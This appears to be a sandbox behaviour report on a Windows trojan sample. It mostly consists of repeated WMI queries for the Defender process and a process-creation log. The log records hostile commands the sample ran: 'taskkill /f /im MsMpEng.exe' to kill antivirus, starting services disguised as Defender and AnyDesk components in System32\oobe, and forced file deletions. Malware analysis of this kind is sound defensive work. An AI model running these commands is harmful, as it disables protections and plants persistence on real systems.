Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\sc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\sc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\sc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\sc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\Conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\Conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\Conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\Conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\Conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\Conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\Conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\Conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\Conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\Conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\Conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\Conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe

ReversingLabs: Detection: 31%

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\WindowsUpdate.txt"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Process created: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe "C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe" install
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe "C:\Windows\System32\oobe\AnyDeskCrashHandler.exe" --pid 6636
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Process created: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe "C:\Windows\System32\oobe\AnyDeskCrashHandler.exe" --pid 2404
Source: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c sc start AnyDeskUpdateService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start AnyDeskUpdateService
Source: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c sc start AnyDeskUpdateService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start MicrosoftWindowsDefenderCoreService
Source: unknown	Process created: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe "C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start AnyDeskUpdateService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe "C:\Windows\System32\oobe\AnyDeskCrashHandler.exe" --pid 2128
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Windows\System32\oobe\AnyDeskUpdateService.exe install
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\oobe\AnyDeskUpdateService.exe C:\Windows\System32\oobe\AnyDeskUpdateService.exe install
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\WindowsUpdate.txt"
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start AnyDeskUpdateService
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\oobe\version.txt"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start AnyDeskUpdateService
Source: unknown	Process created: C:\Windows\System32\oobe\AnyDeskUpdateService.exe "C:\Windows\System32\oobe\AnyDeskUpdateService.exe"
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\WindowsUpdate.txt"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe "C:\Windows\System32\oobe\AnyDeskCrashHandler.exe" --pid 6552
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\sc.exe sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Windows\System32\oobe\AnyDeskUpdateService.exe install
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\oobe\AnyDeskUpdateService.exe C:\Windows\System32\oobe\AnyDeskUpdateService.exe install
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\WindowsUpdate.txt"
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start AnyDeskUpdateService
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\oobe\version.txt"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
